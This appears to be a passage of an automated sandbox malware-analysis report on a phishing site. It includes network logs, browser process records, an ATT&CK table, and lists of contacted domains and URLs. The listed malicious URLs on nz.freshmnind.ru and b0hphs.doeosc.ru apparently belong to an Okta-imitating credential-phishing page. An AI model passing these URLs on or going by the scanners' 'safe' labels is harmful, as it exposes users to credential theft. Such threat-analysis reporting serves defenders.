cfL4;desc="?proto=TCP&rtt=106445&min_rtt=105678&rtt_var=23453&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1904&delivery_rate=34478&cwnd=214&unsent_bytes=0&cid=3df9bcf9447b2cd5&ts=634&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 17:08:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R3nM3KFi%2F3Rzj%2BB0soZkssFiFSgk0Mh0k8Aji7rFHffcunLT%2FsPH18HnUU5kNT4vx0n%2BurvNH3n2oyaqBYUYjVunN651Xh7J8YdhG7Dp92X3Lr71M1QurKmNZ6QR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=4920&min_rtt=4782&rtt_var=1590&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2044&delivery_rate=531278&cwnd=237&unsent_bytes=0&cid=30d589826a6b3155&ts=137&x=0"Server: cloudflareCF-RAY: 92600264ae245e39-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105561&min_rtt=105512&rtt_var=22296&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1709&delivery_rate=35304&cwnd=216&unsent_bytes=0&cid=0759b095d61a4160&ts=576&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 17:08:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nzU7cadHpuPUlNsW%2F24lkHO1w8c9XX0V8Tez%2FZt3FvGaR1jIXpnZ3yANXaKrY5maDuewLNhUTLzw5y2orGcQkyWxRFmbZNLz1iYHTjSQ64WK4YpaldKdrNYMV%2F1n"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1216&min_rtt=1210&rtt_var=466&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2058&delivery_rate=2298412&cwnd=251&unsent_bytes=0&cid=3d6554a02e2c1064&ts=123&x=0"Server: cloudflareCF-RAY: 926002676882b9c6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=106929&min_rtt=104847&rtt_var=24299&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1723&delivery_rate=35529&cwnd=238&unsent_bytes=0&cid=9727f5181f71028e&ts=558&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 25 Mar 2025 17:08:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ovfrPR8rSx0jQ5nlGsMunx2%2B6VeIP4Z03Z5kvhd8ox8y9d1cnwHNXpm%2Bqd6EBULea%2F3xejcc5qMLjxUy74XsmTyJZwb12oVPbW%2FZpG1rYL6npTsC7Fq1AJn2WlrT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=4742&min_rtt=4734&rtt_var=1792&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2057&delivery_rate=603082&cwnd=242&unsent_bytes=0&cid=fc160586f9fc4a5e&ts=91&x=0"Server: cloudflareCF-RAY: 92600280c805f82f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105305&min_rtt=104429&rtt_var=23350&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1721&delivery_rate=34786&cwnd=231&unsent_bytes=0&cid=68504110f6c24260&ts=735&x=0"

Source: chromecache_73.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_73.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_106.1.dr	String found in binary or memory: https://www.amazon.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.80.100:443 -> 192.168.2.7:49687 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.7:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.7:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.7:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.7:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.36:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49749 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir2976_492869361

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2976_492869361

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@21/76@38/13

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2364,i,16656069299914038280,3145591477640638707,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2392 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nz.freshmnind.ru/E9nFcFhuAwW2u/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2364,i,16656069299914038280,3145591477640638707,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2392 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://nz.freshmnind.ru/E9nFcFhuAwW2u/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://nz.freshmnind.ru/56ffUPB0UvxyIJWyr6720	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/qrVPK489M24hwfH5kjvNnXyMd1ghIHxR9LPPlGiA45136	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/ijclYUb10SdAiNlSfNvRacitYnlFeodE99yz6KsKmq6TmJLUgReTdx3Ue78170	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/steO07fE0RQeBsh0MdH7G53APZ0TqNnmm4mqKMLudcfWN45qZnsiPUE6QNaRkQu7xL1vDcZMR4R8gOZFaef254	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/qri6FlUuK79s8YndnoaPKwbmL97is8iagD67WrF12FpyzMQx7AvRFlWLmuemmHcd240	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/ijBZZcOzw03ip9Kc248sz0IwnTYr0Cfqwd89RT4021e68Tk0C1U7pCyz221	0%	Avira URL Cloud	safe
https://b0hphs.doeosc.ru/ando!8ygo40	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/56n0qROe2zNwyNTkPpewzVTNgh0DzFctLRyk67110	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/mn8m9uObCJZIn4HgzVuS998A6fGNUllFRluijTeJOUzAO7uo9kqJ0UcRXntVaaob0m9HSgBwx220	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/ij5e1lnYY910BW7Rj0rRRLd5fHklOYhkkPOwUKizuYVZDV1gZNef210	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/mnEEf90aNx2Vw86HhkOoVxE0aLtTuvVJYkoiAgmPZUKj78150	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/rsBPz9FWiDmkYf0mH0JpBJnijx9sjAYSbHIJc4Ue0CzreM112Nr3aief196	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/xyQJjrmbb8pq3Pgh30	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/favicon.ico	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/nzeKMOpVOW9yQnlJ0L56EPDAdos9WCTmABd5k6hvZRYfhx	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/wxFQR4FN5KH0wnzDRMaN6pVgvFRqrVShhuogPy4lF548gQda34130	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/yzcdjaqJlpY3HANBNbYuGyzePNvIty75BarsPN4fJ4MEjrggCb6ab176	0%	Avira URL Cloud	safe
https://nz.freshmnind.ru/rqhMZrxcLmuSgWxr7Fiam5z0o7XZsftkrmXZqzaPSanAdSjy	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
github.com	140.82.112.4	true	false	high
www.google.com	142.250.80.100	true	false	high
nz.freshmnind.ru	172.67.191.36	true	true	unknown
d19d360lklgih4.cloudfront.net	18.164.124.91	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
b0hphs.doeosc.ru	104.21.16.1	true	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://nz.freshmnind.ru/E9nFcFhuAwW2u/	true		unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://nz.freshmnind.ru/56ffUPB0UvxyIJWyr6720	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/steO07fE0RQeBsh0MdH7G53APZ0TqNnmm4mqKMLudcfWN45qZnsiPUE6QNaRkQu7xL1vDcZMR4R8gOZFaef254	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://nz.freshmnind.ru/ijBZZcOzw03ip9Kc248sz0IwnTYr0Cfqwd89RT4021e68Tk0C1U7pCyz221	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/56n0qROe2zNwyNTkPpewzVTNgh0DzFctLRyk67110	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://nz.freshmnind.ru/qrVPK489M24hwfH5kjvNnXyMd1ghIHxR9LPPlGiA45136	false	Avira URL Cloud: safe	unknown
https://b0hphs.doeosc.ru/ando!8ygo40	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/ijclYUb10SdAiNlSfNvRacitYnlFeodE99yz6KsKmq6TmJLUgReTdx3Ue78170	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/mn8m9uObCJZIn4HgzVuS998A6fGNUllFRluijTeJOUzAO7uo9kqJ0UcRXntVaaob0m9HSgBwx220	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/qri6FlUuK79s8YndnoaPKwbmL97is8iagD67WrF12FpyzMQx7AvRFlWLmuemmHcd240	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/ij5e1lnYY910BW7Rj0rRRLd5fHklOYhkkPOwUKizuYVZDV1gZNef210	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://a.nel.cloudflare.com/report/v4?s=b1R4l4F9uVRnJY6B%2FnyAKyPRz3488sYqrGoNXHihBfLgp0PekZiXQv4wixuPMK9pEsuIRKSxL9dT3sX%2B2M3hVrGKbQQcyqrHvPQro1OHqZ7O8cCpd1tg2ZOiOgcL	false		high
https://nz.freshmnind.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/mnEEf90aNx2Vw86HhkOoVxE0aLtTuvVJYkoiAgmPZUKj78150	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://nz.freshmnind.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/xyQJjrmbb8pq3Pgh30	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/rsBPz9FWiDmkYf0mH0JpBJnijx9sjAYSbHIJc4Ue0CzreM112Nr3aief196	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/nzeKMOpVOW9yQnlJ0L56EPDAdos9WCTmABd5k6hvZRYfhx	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/wxFQR4FN5KH0wnzDRMaN6pVgvFRqrVShhuogPy4lF548gQda34130	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/rqhMZrxcLmuSgWxr7Fiam5z0o7XZsftkrmXZqzaPSanAdSjy	false	Avira URL Cloud: safe	unknown
https://nz.freshmnind.ru/yzcdjaqJlpY3HANBNbYuGyzePNvIty75BarsPN4fJ4MEjrggCb6ab176	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com	chromecache_106.1.dr	false		high
https://github.com/fent)	chromecache_73.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
104.21.16.1	b0hphs.doeosc.ru	United States	13335	CLOUDFLARENETUS	false
140.82.112.4	github.com	United States	36459	GITHUBUS	false
142.250.80.100	www.google.com	United States	15169	GOOGLEUS	false
172.67.191.36	nz.freshmnind.ru	United States	13335	CLOUDFLARENETUS	true
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
18.164.124.11	unknown	United States	3	MIT-GATEWAYSUS	false
104.16.6.189	unknown	United States	13335	CLOUDFLARENETUS	false
